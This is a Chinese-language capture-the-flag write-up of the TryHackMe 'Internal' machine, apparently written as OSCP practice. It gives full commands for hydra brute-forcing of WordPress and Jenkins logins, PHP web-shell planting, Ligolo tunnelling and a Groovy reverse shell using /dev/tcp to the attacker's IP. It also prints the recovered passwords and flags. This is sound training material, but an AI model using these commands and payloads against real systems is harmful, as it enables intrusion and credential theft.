来源
由于最近在备考 OSCP,在套餐开始前,心里没底,想要先刷一些靶机来练手,所以在网上找到了一份类似 OSCP 靶机的清单
| Tryhackme | |||
|---|---|---|---|
| More guided and friendly approach for some rooms but still great boxes and rooms for prep. Active Directory ones here are very good practice for the OSCP. | |||
| Linux | Windows | Active Directory and Networks | Other recommended rooms |
| Attacktive Directory | SQL Injection Lab | ||
| Attacking Kerberos | Linux Privilege Escalation | ||
| Wreath Network | Windows Privilege Escalation | ||
| Reset | Git Happens | ||
| Vulnnet: Active | NahamStore | ||
| Enterprise | |||
| Ledger | |||
| Recommended paths | |||
| Assumed Breach Scenarios: | Cyber Security 101 | ||
| Corp | Jr Penetration Tester | ||
| Lateral Movement and Pivoting | Offensive Pentesting | ||
| Exploiting Active Directory | |||
| Zeno | |||
| Boiler CTF | |||
| Wonderland | |||
| Silver Platter | |||
| Year of the Jellyfish |
由于机器数量较多,共 47 台,计划一天打 1-2 台,在一个月内打完全部机器。目前已将 Windows 部分打完。
0x0C Internal(hard)
简介:
客户要求工程师对所提供的虚拟环境进行外部、网页应用和内部评估。客户要求提供最低限度的评估信息,希望从恶意行为者的视角进行(黑匣子渗透测试)。客户要求你获得两个标记(未提供位置)作为利用利用的证据:
User.txt
Root.txt
此外,客户还提供了以下范围津贴:
确保你修改主机文件以反映内部情况。THM
本次交战允许使用任何工具或技术
定位并记录所有发现的漏洞
将发现的标记提交到仪表盘
只有分配给你机器的IP地址在权限范围内
(角色扮演关闭)
我鼓励你把这个挑战当作真正的渗透测试来对待。考虑写一份报告,包括执行摘要、漏洞和利用评估以及修复建议,这将有助于你为eLearnsecurity电子CPPT考试或成为渗透测试员的职业做好准备。
注意——这个房间可以在没有Metasploit的情况下完成
原文:
You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.
Scope of Work
The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:
User.txt
Root.txt
Additionally, the client has provided the following scope allowances:
Ensure that you modify your hosts file to reflect internal.thm
Any tools or techniques are permitted in this engagement
Locate and note all vulnerabilities found
Submit the flags discovered to the dashboard
Only the IP address assigned to your machine is in scope
(Roleplay off)
I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.
Note - this room can be completed without Metasploit
设置环境变量及 host
export TARGET=10.49.145.139
题目描述还让我们改 hosts 以反映内部情况,可能是需要 host 碰撞吧
sudo echo "10.49.145.139 internal.thm" >> /etc/hosts
信息搜集
使用 rustscan 和 nmap 进行端口扫描
rustscan -a $TARGET -r 1-65535 --ulimit 500 -- -sC -sV -T3 -Pn
Open 10.49.145.139:22
Open 10.49.145.139:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzpZTvmUlaHPpKH8X2SHMndoS+GsVlbhABHJt4TN/nKUSYeFEHbNzutQnj+DrUEwNMauqaWCY7vNeYguQUXLx4LM5ukMEC8IuJo0rcuKNmlyYrgBlFws3q2956v8urY7/McCFf5IsItQxurCDyfyU/erO7fO02n2iT5k7Bw2UWf8FPvM9/jahisbkA9/FQKou3mbaSANb5nSrPc7p9FbqKs1vGpFopdUTI2dl4OQ3TkQWNXpvaFl0j1ilRynu5zLr6FetD5WWZXAuCNHNmcRo/aPdoX9JXaPKGCcVywqMM/Qy+gSiiIKvmavX6rYlnRFWEp25EifIPuHQ0s8hSXqx5
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMFOI/P6nqicmk78vSNs4l+vk2+BQ0mBxB1KlJJPCYueaUExTH4Cxkqkpo/zJfZ77MHHDL5nnzTW+TO6e4mDMEw=
| 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMlxubXGh//FE3OqdyitiEwfA2nNdCtdgLfDQxFHPyY0
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
使用 ffuf 进行 host 碰撞
# 先观察响应长度
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://internal.thm -H "Host: FUZZ.internal.thm"
# 过滤假阳性
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://internal.thm -H "Host: FUZZ.internal.thm" -fs 10918

并没有结果
WEB 访问及目录扫描
80 端口-apache 默认页面

目录扫描及网页文件扫描
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c -r -v
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

phpmyadmin

点帮助可以看到版本为 phpMyAdmin 4.6.6

blog 目录是 WordPress 应用

找用户,点一篇文章进去


作者为 admin
初始访问
失败的尝试
搜 phpMyAdmin 4.6.6 的 exp

版本对不上,而且需要授权,google 也找了一波没有 4.6.6 的 rce
WordPress 后台 getshell
爆破口令
经典九头蛇,用习惯了,这种简单的爆破比 burp 用起来还方便,已知 admin 账号存在
# 用seclists的rockyou-30.txt没出来
hydra -l admin -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt $TARGET http-post-form \
"/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:S=Location."
# 用rockyou-30.txt试试,-t 50加大线程(默认16),不然太慢了
hydra -l admin -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt $TARGET http-post-form \
"/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:S=Location." -t 50

成功拿到凭证:admin/my2boys
反弹 shell
后台模板文件,404.php 写入 php reverse shell,penelope 开监听,访问不存在的地址触发 404.php,拿到 shell

成功 getshell,尝试拿 user.txt

没权限访问 aubreanna,所以猜测得先提权到 aubreanna,最后再到 root
提权
信息搜集
开启 lpe,靶机内拉取 linpeas 并执行

系统信息
Linux version 4.15.0-112-generic (buildd@lcy01-amd64-027) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020
Distributor ID: Ubuntu
Description: Ubuntu 18.04.4 LTS
Release: 18.04
Codename: bionic
端口开放里 8080 很可疑,但没对外开放,可以考虑搭建隧道

数据库账号密码

phpmyadmin 账号密码

失败的尝试
尝试了把获取到的数据库和 phpmyadmin 密码用于 aubreanna,均失败
内网其他服务-拿到 jenkins 权限
8080 绑在内网,curl 发现也是个 web 服务

尝试用 Ligolo-MP 搭建隧道进去
ligolo-mp_linux_amd64 -agent-addr "0.0.0.0:443"
ctrl + N 生成客户端

# kali开http服务
python3 -m http.server
# 靶机shell内下载
curl -O http://192.168.196.107:8000/agent.bin
# 给权限
chmod +x agent.bin
# 执行
./agent.bin
成功收到会话,设置端口转发 240.0.0.1/32 为 ligolo 的魔法地址,用来带代表目标机器的 127.0.0.1

开启中继后,访问 http://240.0.0.1:8080/即可

尝试了之前收集到的密码都不对。分析一下登录包

尝试用九头蛇爆破一下
hydra -l admin -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt 240.0.0.1 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

登录:admin/spongebob,后台 getshell
在 Script Console 处执行 Groovy script 的反弹 shell 代码 Reverse Shell Groovy Scripts · GitHub
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.196.107/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

关键时候 Penelope 又不好使了,用 nc 先接受吧,在弹回 Penelope

成功拿到 jenkins 权限,在跑一遍 linpeas,这个居然是在容器内不,费这么大劲,结果这不权限更低了,并没有跑出什么有价值的信息。
查看 opt 目录(获取 root 密码)
想到之前打过的一台机器,密码备份放在 opt 下,后来也有碰到过类似的,检查一下 opt 目录吧

拿到凭证:root:tr0ub13guM!@#123,切 root 失败,猜测可能不是 docker 内的 root,回到之前的初始 shell 内利用这个密码切 root,成功切入

root/root.txt
THM{d0ck3r_d3str0y3r}
/home/aubreanna/user.txt
THM{int3rna1_fl4g_1}
总结
-
这个靶机出的并不好,按照我的打法是没有拿到 aubreanna 用户的过程的,查了别人的 wp 发现,原来在拿到 www-data 后就应该去找 opt 目录了

出题人应该是想让我们先拿到 aubreanna,再打 jenkins,拿到 root 密码的
-
不要过分依赖 linpeas,有些目录应该自己去看看,比如/opt、/tmp、/home、/var/log
-
思路走不下去了可以先放松想一下,比如这个靶机从 www-data 到 jenkins,从真机(其实也是虚拟化)shell 到 docker 的 shell 内,那一瞬间,感觉自己打偏了,还在想,这波要考 docker 逃逸了吗 😂 但是 root 密码居然就在 opt 下
-
打过时间最久的一个靶机了,初始时间 2 小时,又续了两次 1 小时,截止到写完记录,只剩 30 多分钟,也就是说这个机器做了快 3.5 小时 😢
-
这次是 jenkins 弹 shell 到 Penelope 存在未知问题,之前 tomcat war 包弹 shell 也遇到问题,这种时候还是回归 nc 的怀抱吧,不过我已经习惯 Penelope 了,先弹 nc 在手动弹给 Penelope 也是一个解决思路
-
多关注网络信息,比如绑定在 127.0.0.1 的常见 web 端口,这个机器的 8080 就很可疑,但没必要直接搭代理,可以先 curl 确认一下服务,nc 也可以,能够 ssh 的话优先用 ssh 做端口转发
-
240.0.0.1 是 ligolo 的魔法地址,用来带代表目标机器的 127.0.0.1,这个之前还真不知道。
以下内容为个人猜测:
我最开始尝试直接再加一条路由直接用靶机的eth0_ip/32,理论上是可以的 但这样,所有访问靶机ip的流量,都会到ligolo创建的tun网卡,导致会话断断续续的,因为隧道本身的流量又被转发了一次,会形成循环